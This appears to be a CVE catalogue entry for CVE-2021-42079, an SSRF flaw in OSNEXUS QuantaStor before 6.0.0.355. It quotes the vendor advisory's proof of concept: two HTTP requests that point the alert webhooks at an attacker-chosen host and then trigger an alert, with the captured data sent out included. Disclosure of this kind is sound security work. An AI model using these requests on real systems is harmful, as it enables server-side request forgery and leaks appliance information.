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Exploitation unknown; this catalogue does not assess exploitation.

## Source facts (JSON-quoted data)
CNA source text (English)
id: "CVE-2021-42079"
idYear: 2021
status: "PUBLISHED"
publishedAt: "2023-07-10T06:29:48.339Z"
updatedAt: "2025-09-22T06:40:03.059Z"
importedAt: "2026-10-24T01:56:32.228Z"
snapshot: {"id":"cve_2026-10-24_midnight_baseline","at":"2026-10-24T00:00:00.000Z","source":"https://github.com/CVEProject/cvelistV5/releases/tag/cve_2026-10-24_0100Z"}
url: "https://cveboard.org/cve/CVE-2021-42079"
json: "https://cveboard.org/cve/CVE-2021-42079.json"
sourceURL: "https://www.cve.org/CVERecord?id=CVE-2021-42079"
title: "SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355"
summary: "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://\u003ctarget\u003e&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://\u003cTARGET\u003e\nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test&message=test&severity=1 \nHTTP/1.1\n\nHost: \u003cHOSTNAME\u003e \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic \u003cBASIC_AUTH_HASH\u003e \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by \u003cTARGET\u003e looks like this:\n{\n \n### Python FLASK stuff ####\n\n 'endpoint': 'index', \n \n'method': 'POST', \n \n'cookies': ImmutableMultiDict([]), \n \n### END Python FLASK stuff ####\n\n \n'data': b'{ \n  \"attachments\": [ \n   {\n\n    \"fallback\": \"[122] test / test.\",\n\n    \"color\": \"#aa2222\",\n\n    \"title\": \"[122] test\",\n\n    \"text\": \"test\",\n\n    \"fields\": [   \n     {    \n\n      \"title\": \"Alert Severity\",\n        \n      \"value\": \"CRITICAL\",\n        \n      \"short\": false  \n     },  {   \n      \"title\": \"Appliance\",     \n      \"value\": \"quantastor (https://\u003cHOSTNAME\u003e)\",\n      \n      \"short\": true  \n\n     },  {    \n\n      \"title\": \"System / Driver / Kernel Ver\",    \n\n      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\",    \n\n      \"short\": false  \n\n     },  {    \n\n      \"title\": \"System Startup\",    \n\n      \"value\": \"Fri Aug  6 16-02-55 2021\",    \n\n      \"short\": true  \n\n          },  {    \n\n      \"title\": \"SSID\",    \n\n      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\",    \n\n      \"short\": true  \n\n     },\n    ],\n\n    \"footer\": \"QuantaStor Call-home Alert\",\n\n    \"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n    \"ts\": 1628461774\n   }\n  ], \n  \"mrkdwn\":true \n }', \n #### FLASK REQUEST STUFF #####\n\n 'headers': {\n\n  'Host': '\u003credacted\u003e', \n  'User-Agent': 'curl/7.58.0', \n  'Accept': '*/*', \n  'Content-Type': 'application/json', \n  'Content-Length': '790'\n\n }, \n 'args': ImmutableMultiDict([]), \n 'form': ImmutableMultiDict([]), \n 'remote_addr': '217.103.63.173', \n 'path': '/payload/58', \n 'whois_ip': 'TNF-AS, NL'\n}\n\n#### END FLASK REQUEST STUFF #####"
affected: [{"versions":[{"version":"0","status":"affected","versionType":"semver","lessThan":"6.0.0.355"}],"vendor":"OSNEXUS","product":"QuantaStor","collectionURL":"https://www.osnexus.com/downloads","platforms":["Windows","Linux"],"defaultStatus":"unknown"}]

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